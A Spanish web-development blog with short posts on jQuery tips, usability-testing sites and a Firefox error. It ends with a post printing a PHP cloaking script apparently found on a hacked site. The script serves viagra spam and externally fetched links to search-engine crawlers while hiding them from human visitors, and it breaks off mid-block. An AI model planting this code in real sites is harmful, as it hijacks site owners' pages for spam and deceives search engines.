2012-06-19
Expresiones regulares con Notepad++
2012-04-22
Error al inicializar el almacén NSS unificado de Mozilla Firefox
Hacienda ha cambiado hace poco la forma de su applet de java y ahora resulta que si estás con linux sólo puedes presentar la declaración si tienes instalado firefox en la carpeta /usr/firefox. Te sale el error:
Error al inicializar el almacén NSS unificado de Mozilla Firefox
Una chapuza más que añadir a las muchas que he visto utilziando java para desarrollo de aplicaciones web.
Me han obligado a utilizar windows.
2012-03-04
5 tutoriales de jquery y CSS3
Tranciones de página con CSS3
Letras curvadas con jquery y css
Banners animados con css3
Background o imagen de fondo cambiante con css3
Formulario de contacto con jquery y css3 sin imágenes
2011-12-28
24 sitios de tests sobre usabilidad web
- A Paper and Pencil
- Concept Feedback
- Chalkmark
- Clickheat
- ClickTale
- Clixpy
- Crazy Egg
- Ethnio
- Feng-GUI
- Five Second Test
- Feedback Army
- Loop11
- Mechanical Turk
- Morae
- Open Hallway
- Silverback
- Simple Mouse Tracking
- Usabilla
- UserFly
- UserTesting.com
- UserVue
- Google Analytics
- Google Website Optimizer
- Website Grader
Más información
2011-12-12
9 técnicas de jquery para mejorar tu código
#1 – Carga jQuery framework desde Google or jquery.com
Este truco suele ser muy bueno ya que te ahorras ancho de banda y además los servidores de google suelen ser muy rápidos. El único problema es que dependes de un servidor externo. Una vez hace años google analytics dejó de funcionar y millones de páginas webs tardaban minutos en cargarse
<script src="http://ajax.googleapis.com/ajax/libs/jquery/1.3.2/jquery.min.js"
type="text/javascript"></script> O desde jquery.com:
<script src="http://code.jquery.com/jquery-latest.js"></script> #2 Saber si una imagen se ha cargado
utilizando el.load() metódo con “img”
$('#myImage').attr('src', 'image.jpg').load(function() {
alert('Image Loaded');
//perform action that is dependant of image being fully loaded
}); #3 Alineación Vertical
Si necesitas un elemento central jQuery nos será muy útil. Su uso es muy sencillo, como todo lo que necesita hacer es agregar la verticalcenter class al objeto que quiere centrar en el documento. .
<div onclick="var doc_height = $(document).height();
var el_height = $('.verticalcenter').height();
$('.verticalcenter').css({'position' : 'relative' , 'top' :
doc_height/2 - el_height/2});">Do it</div>
<div id="test2" class="verticalcenter">TESTER</div>; #4 Reemplazar un con jQuery
$('#targetdiv').replaceWith('<div>going to be inserted!</div>'); #5 Regular Expressions y jQuery
Puede llevar a cabo acciones bastante potentes con el texto mediante el uso de expresiones regulares Regex. Regex apoyo jQuery de manera sencilla. Aquí hay un ejemplo donde se elimina la palabra "prueba" de texto en un elemento de la página.
<div onclick="var element = $('#test2'); element.html(element.html().replace(/\s+test/gi, ''));">Do it</div>
<div id="test2">Remove it: test</div> #6 Abriendo links en una nueva ventanapor medio de una class o atributo
Esta técnica jQuery es una manera simple y rápida de hacer todos los enlaces externos se abren en una nueva ventana. Es necesario agregar el atributo rel = "externo" a enlaces externos.
Otra ventaja de este truco es que target = "blank" atributo no es válido XHTML 1.0 Strict. Si usted está usando el siguiente código, se puede conseguir la misma funcionalidad sin tener problemas de validación.
$("a[@rel~='external']").click( function() {
window.open( $(this).attr('href') );
return false;
}); Another way to control this and taking it a bit further by setting window size is shown below. Use the code by setting a class “popupwindow” on a link.
$('a.popupwindow').live('click', function(){
newwindow=window.open($(this).attr('href'),'','height=220,width=170');
if (window.focus) {newwindow.focus()}
return false;
}); Otra forma de controlar esto y tomar un poco más por ajuste de tamaño de la ventana se muestra a continuación. Utilice el código mediante el establecimiento de una clase "popupwindow" en un enlace.
jQuery('a.newTab').live('click', function(){
newwindow=window.open($(this).href);
jQuery(this).target = "_blank";
return false;
}); #7 Verificar si un Element está vacio
Esta es una manera simple de probar en jQuery, si un elemento está vacío. El código se imprime "Sí (?)" En un cuadro de alerta, porque div # prueba es lo más vacío que puede ser.
<div onclick="alert($('#test').html() ? 'Certainly not' : 'Yes (?)');">Test it: Is target element empty?</div>
<div id="test"/> #8 Número de elementos que retorna un selector
Muy simple:
$('targetelement').size(); #9 Desahabilitar click-derecho en el menú contextual
En tres líneas hecho:
$(document).ready(function(){
$(document).bind("contextmenu",function(e){
return false;
});
}); Esto es una torpe traducción.
2011-12-11
No mostrar errores en php
Colocando esta simple línea de código nos evitamos que s vean los errores:
error_reporting(0);
Lo ideal, claro está, sería que nuestro código tuviera un buen manejo de los errores. Pero muchas veces se requieren las cosas con tanto prisa que nos resulta imposible programar las excepciones.
2011-12-07
Código de hackeo Cloaking
El caso es que el archivo detecta cualquier tipo de robot y le muestra texto de viagra si eres un humano ves la página web.
$ff_basefile = "/home/xxxx/xxxxx.com/wymeditor/plugins/tidy/jquery/test.com.txt";
$ff_logname = "/home/xxxxxx/xxxxx.com/wymeditor/plugins/tidy/jquery/_log.txt";
$ff_url = "http://".$_SERVER['HTTP_HOST'].$_SERVER['REQUEST_URI'];
$ff_url_md5 = md5($ff_url);
$ff_outlink_file = "http://www.flopex.com/889xsc/links.txt";
$ff_outlinks_count = 10; // count
$ff_outlinks_separator = " |"; // separator
$ff_links_count = 5; // + / - count
$ff_show_links = 1; // 0 - disabled, 1 - enabled
$ff_datetime = date("j F Y : H i s");
$ff_server_user_agent = @$_SERVER['HTTP_USER_AGENT'];
$ff_server_referer = @$_SERVER['HTTP_REFERER'];
$ff_server_host = @$_SERVER['HTTP_HOST'];
$ff_server_remote_addr = @$_SERVER['REMOTE_ADDR'];
$ff_server_query_string = @$_SERVER['QUERY_STRING'];
$ff_server_signature = @$_SERVER['SERVER_SIGNATURE'];
$ff_server_request = @$_SERVER['REQUEST_URI'];
$ff_server_ip = @$_SERVER['REMOTE_ADDR'];
$ff_said = @$_SERVER['HTTP_HOST'];
function detectBot($ff_server_user_agent, $ff_server_query_string, $ff_server_referer, $ff_server_ip) {
$stop_ips_masks = array(
"128\.177\.243\.[0-9]+",
"128\.177\.244\.(86|87|88|89|90|91|92|93|94|95|96|97|98|99|100)$",
"141\.185\.209\.[0-9]+",
"169\.207\.238\.[0-9]+",
"194\.112\.94\.(250|251|252)$",
"194\.201\.146\.(1|2|3|4|5|6|7|8|9|10|11|12|13|14|15|16|17|18|19|20|21|22|23|24)$",
"194\.221\.84\.(11|12|13|14|15|16|17|18|19|20|21|22|23|24|25|26|27|28|29|30|31|32|33|34|35|36|37|38|39|40|41)$",
"194\.51\.33\.72",
"199\.177\.18\.9",
"202\.160\.178\.[0-9]+",
"202\.160\.179\.[0-9]+",
"202\.160\.180\.[0-9]+",
"202\.160\.181\.[0-9]+",
"202\.160\.183\.(182|183|184|185|186|187|188|189|190|191|192|193|194|195|196|197|198|199|200|201|202|203|204|205|206|207|208|209|210|211|212|213|214|215|216|217|218|219|220|221|222|223|224|225|226|227|228|229|230|231|232|233|234|235|236|237|238|239|240|241|242|243|244|245)$",
"202\.160\.185\.174",
"202\.165\.96\.142",
"202\.165\.98\.[0-9]+",
"202\.165\.99\.[0-9]+",
"202\.212\.5\.(30|31|32|33|34|35|36|37|38|39|40|41|42|43|44|45|46|47|48)$",
"202\.46\.19\.93",
"203\.123\.188\.2",
"203\.141\.52\.(41|42|43|44|45|46|47)$",
"203\.255\.234\.(102|103|104|105|106)$",
"204\.123\.13\.(36|37|38|39|40|41|42|43|44|45|46|47|48|49|50|51|52|53|54|55|56|57|58|59|60|61|62|63|64|65|66)$",
"204\.123\.2\.[0-9]+",
"204\.123\.28\.(10|11|12|13|14|15|16|17|18|19|20|21|22|23|24|25|26|27|28|29|30|31|32|33)$",
"204\.123\.9\.[0-9]+",
"204\.152\.190\.[0-9]+",
"204\.152\.191\.[0-9]+",
"205\.229\.83\.18",
"206\.190\.43\.(81|82|83|84|85|86|87|88|89|90|91|92|93|94|95|96|97|98|99|100|101|102|103|104|105|106|107|108|109|110|111|112|113|114|115|116|117|118|119|120|121|122|123|124|125)$",
"207\.126\.239\.224",
"208\.185\.243\.148",
"208\.221\.32\.[0-9]+",
"208\.221\.35\.(200|201|202|203|204|205|206|207)$",
"209\.1\.12\.[0-9]+",
"209\.1\.13\.(101|102|103|104|105|106|107|108|109|110|111|112|113|114|115|116|117|118|119|120|121|122|123|124|125|126|127|128|129|130|131|132|133|134|135|136|137|138|139|140|141|142|143|144|145|146|147|148|149|150|151|152|153|154|155|156|157|158|159|160|161|162|163|164|165|166|167|168|169|170|171|172|173|174|175|176|177|178|179|180|181|182|183|184|185|186|187|188|189|190|191|192|193|194|195|196|197|198|199|200|201|202|203|204|205|206|207|208|209|210|211|212|213|214|215|216|217|218|219|220|221|222|223|224|225|226|227|228|229|230|231|232)$",
"209\.1\.32\.122",
"209\.1\.38\.[0-9]+",
"209\.131\.40\.[0-9]+",
"209\.131\.41\.[0-9]+",
"209\.131\.48\.[0-9]+",
"209\.131\.49\.37",
"209\.131\.50\.153",
"209\.131\.51\.166",
"209\.131\.60\.(19|20|21|22|23|24|25|26|27|28|29|30|31|32|33|34|35|36|37|38|39|40|41|42|43|44|45|46|47|48|49|50|51|52|53|54|55|56|57|58|59|60|61|62|63|64|65|66|67|68|69|70|71|72|73|74|75|76|77|78|79|80|81|82|83|84|85|86|87|88|89|90|91|92|93|94|95|96|97|98|99|100|101|102|103|104|105|106|107|108|109|110|111|112|113|114|115|116|117|118|119|120|121|122|123|124|125|126|127|128|129|130|131|132|133|134|135|136|137|138|139|140|141|142|143|144|145|146|147|148|149|150|151|152|153|154|155|156|157|158|159|160|161|162|163|164|165|166|167|168|169|170|171)$",
"209\.131\.62\.(107|108|109|110|111|112|113|114|115|116|117|118|119|120|121|122|123|124|125|126|127|128|129|130|131|132|133|134|135|136|137|138|139|140|141|142|143|144|145|146|147|148|149|150|151|152|153|154|155|156|157|158|159|160|161|162|163|164|165|166|167|168|169|170|171|172|173|174|175|176|177|178|179|180|181|182|183|184|185|186|187|188|189|190|191|192|193|194|195|196|197|198|199|200|201|202|203|204|205|206|207|208|209|210|211|212|213|214)$",
"209\.185\.108\.[0-9]+",
"209\.185\.122\.[0-9]+",
"209\.185\.141\.[0-9]+",
"209\.185\.143\.[0-9]+",
"209\.185\.253\.[0-9]+",
"209\.191\.123\.33",
"209\.191\.64\.227",
"209\.191\.65\.[0-9]+",
"209\.191\.82\.(245|246|247|248|249|250|251|252)$",
"209\.191\.83\.[0-9]+",
"209\.247\.40\.246",
"209\.67\.206\.(126|127|128|129|130|131|132|133)$",
"209\.73\.160\.[0-9]+",
"209\.73\.162\.[0-9]+",
"209\.73\.164\.[0-9]+",
"209\.73\.174\.(250|251)$",
"209\.73\.176\.(128|129|130|131|132|133|134|135|136)$",
"209\.73\.180\.[0-9]+",
"209\.85\.238\.[0-9]+",
"211\.14\.8\.240",
"211\.169\.241\.21",
"212\.187\.213\.(171|172|173|174|175)$",
"212\.187\.226\.[0-9]+",
"212\.187\.227\.[0-9]+",
"213\.216\.143\.(37|38|39)$",
"216\.109\.121\.(70|71)$",
"216\.109\.126\.(131|132|133|134|135|136|137|138|139|140|141|142|143|144|145|146|147|148|149|150|151|152|153|154|155|156|157|158|159|160|161)$",
"216\.136\.233\.164",
"216\.145\.58\.219",
"216\.155\.198\.60",
"216\.155\.200\.[0-9]+",
"216\.155\.202\.(54|55|56|57|58|59|60|61|62|63|64|65|66|67|68|69|70|71|72|73|74|75|76|77|78|79|80|81|82|83|84|85|86|87|88|89|90|91|92|93|94|95|96|97|98|99|100|101|102|103|104|105|106|107|108|109|110|111|112|113|114|115|116|117|118|119|120|121|122|123|124|125|126|127|128|129|130|131|132|133|134|135|136|137|138|139|140|141|142|143|144|145|146|147|148|149|150|151|152|153|154|155|156|157|158|159|160|161|162|163|164|165|166|167|168|169|170|171|172|173|174|175)$",
"216\.155\.204\.40",
"216\.239\.193\.(71|72|73|74|75|76|77|78|79|80|81|82|83|84|85|86)$",
"216\.239\.33\.(96|97|98|99)$",
"216\.239\.37\.(98|99)$",
"216\.239\.39\.(98|99)$",
"216\.239\.41\.(96|97|98|99)$",
"216\.239\.45\.4",
"216\.239\.46\.[0-9]+",
"216\.239\.51\.(96|97|98|99)$",
"216\.239\.53\.(98|99)$",
"216\.239\.57\.(96|97|98|99)$",
"216\.239\.59\.(98|99)$",
"216\.32\.237\.(1|2|3|4|5|6|7|8|9|10|11|12|13|14|15|16|17|18|19|20|21|22|23|24|25|26|27|28|29|30)$",
"216\.33\.229\.163",
"216\.39\.48\.[0-9]+",
"216\.39\.50\.[0-9]+",
"216\.39\.51\.[0-9]+",
"62\.172\.199\.(20|21|22|23|24)$",
"62\.27\.59\.245",
"63\.163\.102\.(180|181|182)$",
"64\.152\.75\.[0-9]+",
"64\.157\.137\.(219|220|221|222|223|224|225)$",
"64\.157\.138\.(103|104|105|106|107|108)$",
"64\.233\.173\.(193|194|195|196|197|198|199|200|201|202|203|204|205|206|207|208|209|210|211|212|213|214|215|216|217|218|219|220|221|222|223|224|225|226|227|228|229|230|231|232|233|234|235|236|237|238|239|240|241|242|243|244|245|246|247|248|249|250|251|252|253|254|255)$",
"64\.68\.80\.[0-9]+",
"64\.68\.81\.[0-9]+",
"64\.68\.82\.[0-9]+",
"64\.68\.83\.[0-9]+",
"64\.68\.84\.[0-9]+",
"64\.68\.85\.[0-9]+",
"64\.68\.86\.[0-9]+",
"64\.68\.87\.[0-9]+",
"64\.68\.88\.[0-9]+",
"64\.68\.89\.[0-9]+",
"64\.68\.90\.[0-9]+",
"64\.68\.91\.[0-9]+",
"64\.68\.92\.[0-9]+",
"64\.75\.36\.(42|43|44|45|46|47|48|49|50|51|52|53|54|55|56|57|58|59|60|61|62|63|64|65|66|67|68|69|70|71|72|73|74|75|76|77|78|79|80)$",
"66\.163\.170\.(157|158|159|160|161|162|163|164|165|166|167|168|169|170|171|172|173|174|175|176|177|178|179|180|181|182|183|184|185|186|187|188|189|190|191|192|193)$",
"66\.163\.174\.65",
"66\.17\.148\.(128|129|130|131|132|133|134|135|136|137|138|139|140|141|142|143|144|145|146|147|148|149|150|151|152|153|154|155|156|157|158|159|160|161|162|163|164|165|166|167|168|169|170|171|172|173|174|175|176|177|178|179|180|181|182|183|184|185|186|187|188|189|190|191)$",
"66\.196\.101\.[0-9]+",
"66\.196\.65\.[0-9]+",
"66\.196\.67\.[0-9]+",
"66\.196\.72\.[0-9]+",
"66\.196\.73\.[0-9]+",
"66\.196\.74\.[0-9]+",
"66\.196\.77\.[0-9]+",
"66\.196\.78\.[0-9]+",
"66\.196\.80\.[0-9]+",
"66\.196\.81\.[0-9]+",
"66\.196\.90\.[0-9]+",
"66\.196\.91\.[0-9]+",
"66\.196\.92\.[0-9]+",
"66\.196\.93\.(6|7|8|9|10|11|12|13|14|15|16|17|18|19|20|21|22|23|24)$",
"66\.196\.97\.[0-9]+",
"66\.196\.99\.20",
"66\.218\.65\.52",
"66\.218\.70\.[0-9]+",
"66\.228\.164\.[0-9]+",
"66\.228\.165\.[0-9]+",
"66\.228\.166\.[0-9]+",
"66\.228\.173\.[0-9]+",
"66\.228\.182\.(177|178|179|180|181|182|183|184|185|186|187|188|189|190)$",
"66\.249\.64\.[0-9]+",
"66\.249\.65\.[0-9]+",
"66\.249\.66\.[0-9]+",
"66\.249\.67\.[0-9]+",
"66\.249\.68\.[0-9]+",
"66\.249\.69\.[0-9]+",
"66\.249\.70\.[0-9]+",
"66\.249\.71\.[0-9]+",
"66\.249\.72\.[0-9]+",
"66\.249\.73\.[0-9]+",
"66\.249\.78\.[0-9]+",
"66\.249\.79\.[0-9]+",
"66\.94\.230\.(96|97|98|99|100|101|102|103|104|105|106|107|108|109|110|111|112|113|114|115|116|117|118|119|120|121|122|123|124|125|126|127|128|129|130|131|132|133|134|135|136|137|138|139|140|141|142|143|144|145|146|147|148|149|150|151|152|153|154|155|156|157|158|159|160|161|162|163)$",
"66\.94\.232\.[0-9]+",
"66\.94\.233\.[0-9]+",
"66\.94\.238\.51",
"67\.195\.115\.[0-9]+",
"67\.195\.34\.[0-9]+",
"67\.195\.37\.[0-9]+",
"67\.195\.44\.[0-9]+",
"67\.195\.45\.[0-9]+",
"67\.195\.50\.87",
"67\.195\.51\.[0-9]+",
"67\.195\.52\.[0-9]+",
"67\.195\.53\.(111|112|113|114|115|116|117|118|119|120|121|122|123|124|125|126|127|128|129|130|131|132|133|134|135|136|137|138|139|140|141|142|143|144|145|146|147|148|149|150|151|152|153|154|155|156|157|158|159|160|161|162|163|164|165|166|167|168|169|170|171|172|173|174|175|176|177|178|179|180|181|182|183|184|185|186|187|188|189|190|191|192|193|194|195|196|197|198|199|200|201|202|203|204|205|206|207|208|209|210|211|212|213|214|215|216|217|218|219)$",
"67\.195\.54\.[0-9]+",
"67\.195\.58\.[0-9]+",
"67\.195\.98\.[0-9]+",
"68\.142\.195\.(80|81)$",
"68\.142\.203\.133",
"68\.142\.211\.69",
"68\.142\.212\.197",
"68\.142\.230\.[0-9]+",
"68\.142\.231\.49",
"68\.142\.240\.106",
"68\.142\.246\.[0-9]+",
"68\.142\.249\.[0-9]+",
"68\.142\.250\.[0-9]+",
"68\.142\.251\.[0-9]+",
"68\.180\.216\.111",
"68\.180\.250\.[0-9]+",
"68\.180\.251\.[0-9]+",
"69\.147\.79\.(131|132|133|134|135|136|137|138|139|140|141|142|143|144|145|146|147|148|149|150|151|152|153|154|155|156|157|158|159|160|161|162|163|164|165|166|167|168|169|170|171|172|173)$",
"72\.14\.199\.[0-9]+",
"72\.30\.101\.[0-9]+",
"72\.30\.102\.[0-9]+",
"72\.30\.103\.[0-9]+",
"72\.30\.104\.[0-9]+",
"72\.30\.107\.[0-9]+",
"72\.30\.110\.[0-9]+",
"72\.30\.111\.[0-9]+",
"72\.30\.124\.(128|129|130|131|132|133|134)$",
"72\.30\.128\.[0-9]+",
"72\.30\.129\.[0-9]+",
"72\.30\.131\.[0-9]+",
"72\.30\.132\.[0-9]+",
"72\.30\.133\.[0-9]+",
"72\.30\.134\.[0-9]+",
"72\.30\.135\.[0-9]+",
"72\.30\.142\.[0-9]+",
"72\.30\.161\.[0-9]+",
"72\.30\.177\.[0-9]+",
"72\.30\.179\.[0-9]+",
"72\.30\.213\.101",
"72\.30\.214\.[0-9]+",
"72\.30\.215\.[0-9]+",
"72\.30\.216\.[0-9]+",
"72\.30\.221\.[0-9]+",
"72\.30\.226\.[0-9]+",
"72\.30\.252\.[0-9]+",
"72\.30\.54\.[0-9]+",
"72\.30\.56\.[0-9]+",
"72\.30\.60\.[0-9]+",
"72\.30\.61\.[0-9]+",
"72\.30\.65\.[0-9]+",
"72\.30\.78\.[0-9]+",
"72\.30\.79\.[0-9]+",
"72\.30\.81\.[0-9]+",
"72\.30\.87\.[0-9]+",
"72\.30\.9\.[0-9]+",
"72\.30\.97\.[0-9]+",
"72\.30\.98\.[0-9]+",
"72\.30\.99\.[0-9]+",
"74\.6\.11\.[0-9]+",
"74\.6\.12\.[0-9]+",
"74\.6\.13\.[0-9]+",
"74\.6\.131\.[0-9]+",
"74\.6\.16\.[0-9]+",
"74\.6\.17\.[0-9]+",
"74\.6\.18\.[0-9]+",
"74\.6\.19\.[0-9]+",
"74\.6\.20\.[0-9]+",
"74\.6\.21\.[0-9]+",
"74\.6\.22\.[0-9]+",
"74\.6\.23\.[0-9]+",
"74\.6\.24\.[0-9]+",
"74\.6\.240\.[0-9]+",
"74\.6\.25\.[0-9]+",
"74\.6\.26\.[0-9]+",
"74\.6\.27\.[0-9]+",
"74\.6\.28\.[0-9]+",
"74\.6\.29\.[0-9]+",
"74\.6\.30\.[0-9]+",
"74\.6\.31\.[0-9]+",
"74\.6\.65\.[0-9]+",
"74\.6\.66\.[0-9]+",
"74\.6\.67\.[0-9]+",
"74\.6\.68\.[0-9]+",
"74\.6\.69\.[0-9]+",
"74\.6\.7\.[0-9]+",
"74\.6\.70\.[0-9]+",
"74\.6\.71\.[0-9]+",
"74\.6\.72\.[0-9]+",
"74\.6\.73\.[0-9]+",
"74\.6\.74\.[0-9]+",
"74\.6\.75\.[0-9]+",
"74\.6\.76\.[0-9]+",
"74\.6\.79\.[0-9]+",
"74\.6\.8\.[0-9]+",
"74\.6\.85\.[0-9]+",
"74\.6\.86\.[0-9]+",
"74\.6\.87\.[0-9]+",
"74\.6\.9\.[0-9]+",
"8\.6\.48\.[0-9]+",
"198\.3\.103\.[0-9]+",
"199\.172\.148\.(11|12|13|14|15|16|17|18|19|20|21|22|23|24|25|26|27|28|29|30|31|32|33|34|35|36|37|38|39|40|41|42|43|44|45|46|47|48|49|50|51|52|53|54|55|56|57|58|59|60|61|62|63|64|65|66|67|68|69|70|71|72|73|74|75|76|77|78|79|80|81|82|83|84|85|86|87|88|89|90|91|92|93|94|95|96|97|98|99|100|101|102|103|104|105)$",
"199\.172\.149\.[0-9]+",
"199\.172\.152\.[0-9]+",
"199\.172\.153\.(174|175|176|177|178)$",
"199\.172\.156\.(168|169|170|171|172|173|174|175|176|177|178|179|180|181|182|183|184|185|186|187|188|189|190|191|192|193|194|195|196|197|198|199|200|201|202|203|204|205|206|207|208|209|210|211|212|213|214|215|216|217|218|219)$",
"199\.172\.157\.28",
"204\.62\.245\.[0-9]+",
"195\.145\.119\.(24|25)$",
"198\.5\.208\.[0-9]+",
"198\.5\.210\.[0-9]+",
"202\.33\.250\.(146|147|148|149|150|151|152|153|154)$",
"204\.162\.96\.[0-9]+",
"204\.162\.97\.[0-9]+",
"204\.162\.98\.[0-9]+",
"204\.202\.132\.19",
"205\.226\.201\.[0-9]+",
"205\.226\.203\.(35|36|37|38|39|40|41|42|43|44|45|46|47|48|49|50|51|52|53|54|55|56|57|58|59|60|61|62|63|64|65|66|67|68|69|70|71|72|73|74|75|76|77|78|79|80|81|82|83|84|85|86|87|88|89|90|91|92|93|94|95|96|97|98|99|100|101|102|103|104|105|106|107|108|109|110|111|112|113|114|115|116|117|118|119|120|121|122|123|124|125|126|127|128|129|130|131|132|133|134|135|136|137|138|139|140|141|142|143|144|145|146|147|148|149|150|151|152|153|154|155|156|157|158|159|160|161|162|163|164|165|166|167|168|169|170|171|172|173|174|175|176|177|178|179|180|181|182|183|184|185|186)$",
"205\.226\.204\.238",
"206\.3\.30\.(196|197|198|199|200|201|202|203|204|205|206|207|208|209|210|211|212|213|214|215|216|217|218|219|220|221|222|223|224|225|226|227|228|229|230|231|232|233|234|235|236|237|238|239|240|241|242|243|244|245|246|247|248|249|250|251)$",
"210\.148\.160\.(157|158|159|160|161|162|163|164|165|166|167|168|169|170|171|172|173|174|175|176|177|178|179|180|181|182|183|184|185|186|187|188|189|190|191|192|193|194|195|196|197|198|199|200|201|202|203|204|205|206)$",
"210\.155\.157\.[0-9]+",
"210\.155\.159\.[0-9]+",
"210\.236\.233\.(130|131|132|133|134|135|136|137|138|139|140|141|142|143|144|145|146|147|148|149|150|151|152|153|154|155|156|157|158|159|160|161)$",
"211\.13\.222\.230",
"211\.18\.214\.194",
"212\.185\.44\.(10|11|12|13|14|15)$",
"166\.48\.225\.254",
"202\.232\.118\.(40|41|42|43|44|45|46|47|48|49|50|51)$",
"206\.79\.171\.[0-9]+",
"207\.77\.90\.[0-9]+",
"207\.77\.91\.184",
"208\.146\.26\.[0-9]+",
"208\.146\.27\.(57|58|59|60|61|62|63|64|65|66|67|68|69|70|71|72|73|74|75|76|77|78|79|80|81|82|83|84|85|86|87|88|89|90|91|92|93|94|95|96|97|98|99|100|101|102|103|104|105|106|107|108|109|110|111|112|113|114|115|116|117|118|119|120|121|122|123|124)$",
"209\.202\.192\.[0-9]+",
"209\.202\.193\.[0-9]+",
"209\.202\.194\.(237|238)$",
"209\.202\.205\.1",
"209\.202\.240\.(8|9|10|11|12|13|14|15|16|17|18|19|20|21|22|23|24|25|26|27|28|29|30|31|32|33|34|35|36|37|38|39|40|41|42|43|44|45|46|47|48|49|50|51|52|53|54|55|56|57|58|59|60|61|62|63|64|65|66|67|68|69|70|71|72|73|74|75|76|77|78|79|80|81|82|83|84|85|86|87|88|89|90|91|92|93|94|95|96|97|98|99|100|101|102|103|104|105|106|107|108|109)$",
"209\.202\.248\.(211|212|213|214)$",
"209\.67\.228\.[0-9]+",
"209\.67\.229\.[0-9]+",
"211\.51\.63\.4",
"213\.193\.19\.35",
"64\.89\.33\.[0-9]+",
"195\.228\.240\.177",
"204\.166\.111\.29",
"205\.181\.75\.(60|61|62|63|64|65|66|67|68|69|70|71|72|73|74|75|76|77|78|79|80|81|82|83|84|85|86|87|88|89|90|91|92|93|94|95|96|97|98|99|100|101|102|103|104|105|106|107|108|109|110|111|112|113|114|115|116|117|118|119|120|121|122|123|124|125|126|127|128|129|130)$",
"208\.219\.77\.[0-9]+",
"216\.34\.102\.[0-9]+",
"216\.34\.109\.(190|191|192)$",
"64\.95\.79\.(40|41|42|43|44|45|46|47|48|49|50|51|52|53|54|55|56|57|58|59|60|61|62|63|64|65|66|67|68|69|70|71|72|73|74|75|76|77|78|79|80|81|82|83|84|85|86|87|88|89|90|91|92|93|94|95|96|97|98|99|100|101|102|103|104|105|106|107|108|109|110|111|112|113|114|115|116|117|118|119|120|121|122|123|124|125|126|127|128|129|130|131|132|133|134|135|136|137|138|139|140|141|142|143|144|145|146|147|148|149|150|151|152|153|154|155|156|157|158|159|160|161|162|163|164|165|166|167|168|169|170|171|172|173|174|175|176|177|178|179|180|181|182|183|184|185|186|187|188|189|190|191|192|193|194|195)$",
"127\.0\.0\.1",
);
$stop_agents_masks = array(
"http",
"google",
"slurp",
"msnbot",
"Googlebot",
"Mediapartners",
"Yahoo",
"bot",
"crawl",
"spider",
"robot",
"HttpClient",
"curl",
"PHP",
"Indy Library",
"WordPress",
"Charlotte",
"wwwster",
"Python",
"urllib",
"perl",
"libwww",
"lynx",
"Twiceler",
"rambler",
"yandex",
);
$is_human = true;
foreach ($stop_ips_masks as $stop_ip_mask) {
if(eregi($stop_ip_mask, $ff_server_ip)) {
$is_human = false;
break;
}
}
if ($is_human) {
foreach ($stop_agents_masks as $stop_agents_mask) {
if (eregi($stop_agents_mask, @$ff_server_user_agent) !== false) {
$is_human = false;
break;
}
}
}
if ($is_human and !eregi("^[a-zA-Z]{5,}", @$ff_server_user_agent)) {
$is_human = false;
}
if ($is_human and strlen($ff_server_user_agent) <= 11) {
$is_human = false;
}
return $is_human;
}
@$is_human = detectBot($ff_server_user_agent, $ff_server_query_string, $ff_server_referer, $ff_server_ip);
//var_dump(@$is_human);
if (@$is_human == false) {
// --- get text
if (is_file($ff_basefile)) {
$f_arrfile = fopen($ff_basefile, "r");
$f_doors_mas = unserialize(base64_decode(gzinflate(fread($f_arrfile, filesize($ff_basefile)))));
fclose($f_arrfile);
$decs = hexdec(substr($ff_url_md5, 0, 4));
$decs_cof = 65535 / $decs;
$decs = (count($f_doors_mas)-1) / $decs_cof;
$decs = intval($decs);
$ff_ankor = $f_doors_mas[$decs]["name"];
$ff_text = $f_doors_mas[$decs]["text"]."
";
}
// --- run log
if (is_file($ff_logname)) {
$f_logfile = fopen($ff_logname, "r");
$f_log_mas = unserialize(base64_decode(gzinflate(fread($f_logfile, filesize($ff_logname)))));
fclose($f_logfile);
$flag_in_mas = 0;
foreach ($f_log_mas as $key) {
if (in_array($ff_url_md5, $key)) {
$flag_in_mas = 1;
}
}
if ($flag_in_mas == 0) {
$f_log_mas[] = array(
"url_md5"=>$ff_url_md5,
"url"=>$ff_url,
"ankor"=>$ff_ankor,
"referer"=>$ff_server_referer,
"ip"=>$ff_server_ip,
"time"=>$ff_datetime
);
$f_logfile = fopen($ff_logname, "w+");
fputs($f_logfile, gzdeflate(base64_encode(serialize($f_log_mas))));
fclose($f_logfile);
}
}
else
{
$f_log_mas[] = array(
"url_md5"=>$ff_url_md5,
"url"=>$ff_url,
"ankor"=>$ff_ankor,
"referer"=>$ff_server_referer,
"ip"=>$ff_server_ip,
"time"=>$ff_datetime
);
$f_logfile = fopen($ff_logname, "w+");
fputs($f_logfile, gzdeflate(base64_encode(serialize($f_log_mas))));
fclose($f_logfile);
}
// --- show links
if ($ff_show_links == 1) {
for ($i = 0; $i <= count($f_log_mas)-1; $i++) {
if ($f_log_mas[$i]["url_md5"] == $ff_url_md5) {
$url_pos = $i;
}
}
if ($url_pos - $ff_links_count >= 0) {
for ($i=$url_pos - $ff_links_count; $i < $url_pos; $i++) {
$linklist = $linklist . " ". $f_log_mas[$i]["ankor"] . " ";
}
}
if ($url_pos + $ff_links_count <= count($f_log_mas)-1) {
for ($i=$url_pos + 1; $i <= $url_pos + $ff_links_count; $i++) {
$linklist = $linklist . " ". $f_log_mas[$i]["ankor"] . " ";
}
}
$ff_text = str_replace("{show_links}", $linklist, $ff_text);
$ff_outlink_mas = file($ff_outlink_file);
$ff_rand_outlinks = array_rand($ff_outlink_mas, $ff_outlinks_count);
foreach($ff_rand_outlinks as $ff_temp => $ff_teklink) {
$ff_outlinks = $ff_outlinks ."". $ff_outlink_mas[$ff_teklink] ."". $ff_outlinks_separator;
}
$ff_text = str_replace("{out_links}", $ff_outlinks, $ff_text);
echo $ff_text;
}
exit;
}
if (@$is_human) {
